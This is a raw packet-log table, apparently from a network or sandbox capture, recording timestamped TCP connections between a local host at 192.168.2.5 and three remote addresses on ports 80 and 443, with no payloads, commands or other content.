Nov 25, 2024 14:14:44.600469112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.601193905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.601238012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.601476908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.601521015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.602171898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.602269888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.602298975 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.602318048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.602368116 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.602372885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.602416039 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.602700949 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.602716923 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.602726936 CET	49840	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.602731943 CET	443	49840	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.603106976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.603166103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.603516102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.603601933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.604202032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.604249001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.604285955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.604298115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.605418921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.605515957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.605595112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.605848074 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.605890036 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.605943918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.605968952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.605968952 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.606004000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.606014967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.606441975 CET	49850	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.606455088 CET	443	49850	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.606884003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.606947899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.607275009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.607738972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.608158112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.608208895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.608294010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.608376026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.609266996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.609370947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.609399080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.609447956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.609930992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.609982967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.610204935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.610327959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.610816956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.610861063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.611371994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.611418962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.611957073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.612004995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.612252951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.612354040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.612843037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.613009930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.613460064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.613507986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.613862038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.613910913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.614115953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.614173889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.614768028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.614810944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.615144968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.615200996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.615626097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.615679979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.616020918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.616086006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.616660118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.616717100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.617101908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.617331982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.617733955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.617783070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.618187904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.618340015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.618546009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.618558884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.618590117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.618618965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.619821072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.619947910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.620210886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.620260000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.620601892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.620651960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.621134043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.621186972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.621682882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.621742010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.621983051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.622033119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.622143984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.622483015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.622550011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.622884035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.622935057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.623513937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.623574018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.623766899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.623810053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.624372005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.624434948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.624449968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.624490976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.625504017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.625552893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.625655890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.625716925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.626593113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.626641989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.692394972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.692461014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.692511082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.692707062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.692730904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.692769051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.692795992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.692826033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.693439960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.693506002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.693582058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.693627119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.694464922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.694562912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.694683075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.694756031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.698060989 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.698137999 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.698190928 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.698400974 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.698417902 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.698431015 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.698436022 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.702559948 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.702599049 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.702680111 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.702867985 CET	49851	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.702878952 CET	443	49851	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.711657047 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.711730003 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.711997986 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.712141991 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.712141991 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.712161064 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.712168932 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.715889931 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.715938091 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.716046095 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.720036030 CET	49852	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.720055103 CET	443	49852	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.725927114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.725986004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.726048946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.726075888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.726299047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.726355076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.726387978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.726432085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.727473974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.727550983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.727581978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.727952003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.728730917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.728811026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.728864908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.728915930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.729767084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.729815960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.729940891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.730005980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.730803013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.730976105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.731046915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.731461048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.731533051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.731771946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.731837034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.732287884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.732337952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.732357025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.732383966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.732948065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.733006001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.733012915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.733067989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.733795881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.733875990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.734047890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.734103918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.734776974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.734859943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.734952927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.734999895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.735812902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.735826015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.735905886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.736721992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.736840963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.736912966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.737725019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.737781048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.737843037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.737884045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.738616943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.738687038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.738715887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.738770962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.739679098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.739732027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.739928961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.739985943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.740597010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.740644932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.741023064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.741081953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.775904894 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.776097059 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.776261091 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.776408911 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.776433945 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.776448965 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.776458025 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.784236908 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.784272909 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.784380913 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.784831047 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:44.784842014 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:44.796103954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.796173096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.796504974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.796524048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.796565056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.796632051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.796693087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.797470093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.797524929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.797727108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.797857046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.798569918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.798628092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.798885107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.798937082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.799501896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.799551964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.799613953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.799670935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.800376892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.800467014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.801156998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.801199913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.801398039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.801409960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.801450968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.802344084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.802537918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.802804947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.802881956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.803272963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.803330898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.803363085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.803421974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.804246902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.804317951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.804565907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.804617882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.805521965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.805665016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.805746078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.805843115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.806437016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.806482077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.807353973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.807413101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.807780981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.807795048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.807845116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.808962107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.809456110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.809530973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.809681892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.809731960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.810148954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.810416937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.810697079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.810750961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.810837030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.811001062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.811563015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.811609983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.811619043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.811784029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.812468052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.812517881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.812544107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.812624931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.813364983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.813438892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.813534975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.813581944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.814476967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.814529896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.814629078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.814680099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.815551996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.815603971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.815666914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.815728903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.816437960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.816488981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.816600084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.816648006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.817354918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.817408085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.817487001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.817540884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.818156004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.818240881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.818305016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.818881989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.818907022 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.818942070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.818948984 CET	443	49854	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.818979979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:44.819045067 CET	49854	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.819051981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:44.819051027 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.819096088 CET	443	49855	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.819221973 CET	49856	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.819221973 CET	49855	443	192.168.2.5	104.117.182.27
Nov 25, 2024 14:14:44.819231987 CET	443	49856	104.117.182.27	192.168.2.5
Nov 25, 2024 14:14:44.819302082 CET	49856	443	192.168.2.5	104.117.182.27
